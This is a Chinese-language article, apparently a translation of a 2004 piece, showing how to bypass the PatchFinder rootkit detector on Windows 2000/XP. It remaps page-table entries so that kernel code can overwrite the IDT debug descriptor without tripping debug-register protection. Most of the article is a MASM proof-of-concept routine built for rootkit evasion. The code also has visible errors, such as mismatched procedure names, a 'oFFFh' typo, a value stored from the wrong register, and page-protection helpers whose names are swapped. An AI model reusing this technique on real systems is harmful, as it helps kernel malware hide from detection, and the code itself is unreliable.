绕过Windows Rootkit检测系统

    技术2022-05-11  89

    创建时间:2004-03-08文章属性:原创文章提交:SoBeIt (kinsephi_at_hotmail.com)绕过Windows Rootkit检测系统                                        SoBeIt                Edgar Barbosa                embarbosa@yahoo.com     [介绍]    PatchFinder是一个设计很巧妙的程序,基于EPA(执行路径分析)技术用来检测侵入内核的Rootkit。附录1和2可以让你了解它是如何工作的。这篇文章将提供一种绕开EPA的方法。[方法]    EPA基于Intel处理器的单步模式,使用中断描述符表(IDT)的0x01入口。为了防止Rootkit修改这个入口,它使用调试寄存器(DR0、DR1)来保护调试处理程序(很不错的主意)。由DR0寄存器保护0x1入口,而由DR1寄存器保护中断处理程序。(注1:)    但是,让我们再读一遍Inter Manual [3]:“每个调试地址寄存器(DR0到DR3)保存32位的断点的线性地址”。注意:线性地址!在Windows 2000/XP下,通过分页机制把线性地址转换为物理地址。假设IDT的基地址是在0x8003F400,保存在IDTR中,那么IDT的0x01入口地址就是0x8003F408。Intel有关IDTR的说明:“基地址标明了IDT的0x00入口地址。”WIndows 2000/XP下由CR3寄存器指向的页目录被映射到线性地址0xC0300000。线性地址是由目录、表和偏移组成,通过分页机制我们将0x8003F408转换为物理地址就是0x03F00(由实验中得来)。现在我们要做的就是创建一个缓冲区,获取指向缓冲区的指针并修改页目录和页表使这个缓冲区指向物理地址0x03F00。然后,向这个缓冲区中写入的东西就会写入IDT,并且不会触发PatchFinder的保护机制。调试寄存器是根本无法保护内存的,因为它们无法保护物理内存。[源代码]    这里是源代码,由MASM v8.0汇编。因为我喜欢汇编语言:-)完全的源代码可以在www.rootkit.com找到。;---定义IDTR结构-------DIDTR STRUCT        ;IDTRdLIMIT    WORD    ?ibase    DWORD    ?DIDTR ENDS;-----------------------ByepassIDTProtection PROC    LOCAL dbgHandler:DWORD    LOCAL myIDT:DIDTR    LOCAL idtbase:DWORD    LOCAL idtbaseoff:DWORD    LOCAL idtPDE:DWORD    LOCAL idtPDEaddr:DWORD    LOCAL idtPTE:DWORD    LOCAL idtPTEaddr:DWORD    LOCAL varbase:DWORD    LOCAL varbaseoff:DWORD    LOCAL varPDE:DWORD    LOCAL varPDEaddr:DWORD    LOCAL varPTE:DWORD    LOCAL varPTEaddr:DWORD    LOCAL diffoffset:DWORD    pushad    ;分配一个页大小的内存(从非分页池中分配)    invoke ExAllocatePool,NonPagedPoolMustSucceed,01000h    mov varbase,eax        cli                ;记得恢复    invoke DisablePageProtection    ;对XP,Regmon使用的一个很老的技巧    sidt myIDT    mov eax,myIDT.ibase    add eax,08h    mov idtbase,eax            ;idtbase = IDT的基地址 + 8字节    and eax,0FFC00000h        ;获取IDT地址的目录索引    shr eax,22    shl eax,2            ;乘与4    mov ebx,0C0300000h        ;0C0300000 = 页目录    add ebx,eax            ;ebx = [页目录 + 目录索引*4]    mov idtPDEaddr,ebx    mov eax,[ebx]    mov idtPDE,eax            ;eax = IDT地址的页目录入口(PDE)        mov eax,idtbase    and eax,oFFFh            ;获取IDT地址的低12位 =     页内偏移                mov idtbaseoff,eax    mov eax,idtbase    shr eax,12            ;获取IDT地址的高12位    shl eax,2            ;乘与4    mov ebx,0C0000000h        ;进程页表映射在0xC0000000开始的4MB空间中    add ebx,eax    mov idtPTEaddr,eax        ;IDT地址的PTE的地址    mov eax,[ebx]    mov idtPTE,eax            ;取该地址的PTE    mov eax,varbase    and eax,0FFC00000h        ;获取varbase的页目录索引    shr eax,22    shl eax,2    mov ebx,0C0300000h    add ebx,eax    mov varPDEaddr,ebx        mov eax,[ebx]    mov varPDE,eax        mov eax,varbase    and eax,0FFFh    mov varbaseoff,eax    mov eax,varbase    shr eax,12    shl eax,2    mov ebx,0C0000000h    add ebx,eax    mov varPTEaddr,ebx    mov eax,[ebx]    mov varPTE,eax    mov eax,varPDEaddr        ;修改PDE为和IDT0x01的一样    mov ebx,idtPDE    mov [eax],ebx        mov eax,varPTEaddr        ;修改PTE为和IDT0x01的一样    mov ebx,idtPTE    mov [eax],ebx    mov ebx,idtbaseoff        ;修正页内偏移    mov eax,varbaseoff    sub ebx,eax    ;现在我们可以使用线性地址向IDT的0x01描述符内写入东西而不会触发调试寄存器    mov eax,varbase    mov dword ptr [eax+ebx],0DEADBEEFh    mov eax,varPDEaddr        ;恢复原来的值    mov ebx,varPDE    mov [eax],ebx    mov eax,varPTEaddr        ;恢复原来的值    mov ebx,varPTE    mov [eax],ebx    invoke EnablePageProtection    ;恢复CR0寄存器的WP标志    sti    popad    retBypassIDTProtection ENDP;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::EnablePageProtection PROC    push eax    mov eax,CR0    and eax,0FFFEFFFFh    mov CR0,eax    pop eax    retEnablePageProtection ENDP;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::DisablePageProtection PROC    push eax    mov eax,CR0    or eax,NOT 0FFFEFFFFh    mov CR0,eax    pop eax    retDisablePageProtection ENDP;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[Rootkit的未来]    很不幸,这种方法使EPA变得没用。如果微软不改变它的安全结构,没有一种办法能在未来阻止rookits。未来的rootkit会在分页机制上大有作为,这种有无限种可能性。一旦进入Ring 0,那么永远在Ring 0。[参考]    [1] Joanna Rutkowska,Advanced Windows 2000 Rootkit Detection(高级Rootkit检测技术)    [2] Joanna Rutkowska,Detecting Windows Server Compromises with PatchFinder2    [3] IA32 Intel Architeture Softwares Developer's Manual, vol 1-3注1:    这个图无法画出,就是画出了读者也不一定能看得明白(因为画的实在太简单了-_-)。我在这里补充一下用调试寄存器保护地址的原理。首先是DR0-DR4这4个调试寄存器保存了4个线性地址,然后通过DR7寄存器的相关位并检查DR6寄存器的相关位来对这4个地址进行相关操作。参考以下代码:#define DB_PROT_EXEC  0#define DB_PROT_WRITE 1#define DB_PROT_RW    3#define DB_DR0 0#define DB_DR1 1#define DB_DR2 2#define DB_DR3 3#define DB_LEN_1B 0#define DB_LEN_2B 1#define DB_LEN_4B 3int dbProtect (int reg, int addr, int len, int protection) {    unsigned int dr7mask;    switch (reg) {    case 0:        __asm {            mov eax, addr;            mov DR0, eax;        }        break;                case 1:        __asm {            mov eax, addr;            mov DR1, eax;        }        break;                case 2:        __asm {            mov eax, addr;            mov DR2, eax;        }        break;                case 3:        __asm {            mov eax, addr;            mov DR3, eax;        }        break;                }    dr7mask = 0x2<<(reg*2);    dr7mask |= (( (len<<2) + protection) << (16+(4*reg)));    __asm {            mov eax, DR7;            or  eax, dr7mask;            mov DR7, eax;    }        return 1;}int dbSetGeneralProtection () {    __asm {        mov eax, DR7;        or eax, 0x1000;        mov DR7, eax;    }    return 1;}然后在中断处理程序中还要加入下面几句代码:        mov eax, DR6;        test ax, 0x100f;    // BD |B3|B2|B1|B0        .        .        mov eax, DR6;        // 检查DR6的BS(单步)位        test ah, 0x40;最后决定对3个地址进行不同程度的保护:    dbProtect (DB_DR0, (int)getIntGateAddr(NT_DEBUG_INT), DB_LEN_4B, DB_PROT_WRITE);    dbProtect (DB_DR1, (int)getIntGateAddr(NT_DEBUG_INT)+4, DB_LEN_4B, DB_PROT_WRITE);    dbProtect (DB_DR2, (int)NewDebugHandler1, DB_LEN_4B, DB_PROT_RW);对DR6和DR7相关位的作用不太熟悉的可以去查Intel的手册15.2节<Debug Registers>。后级:    如果你对分页机制不太熟悉的话,可以参考我朋友JIURL的4篇很详细地介绍分页机制的文章:《JIURL玩玩Win2k内存篇 分页机制(1-4)》,网址:http://jiurl.yeah.net;或者WebCrazy的《小议分页机制》,网址:http://webcrazy.yeah.net。    水平有限,欢迎大家指出错漏之处。QQ:27324838 Email:kinvis@hotmail.com

    更多文章请点击左边的“文章”和“存档”分类

    文章

    c#(RSS) 其他(RSS) 通用算法(RSS) 杂谈(RSS)

    存档

    2005年12月(139) 2005年11月(11) 2005年08月(2) 2005年04月(2) 2005年01月(3)

    最新回复(0)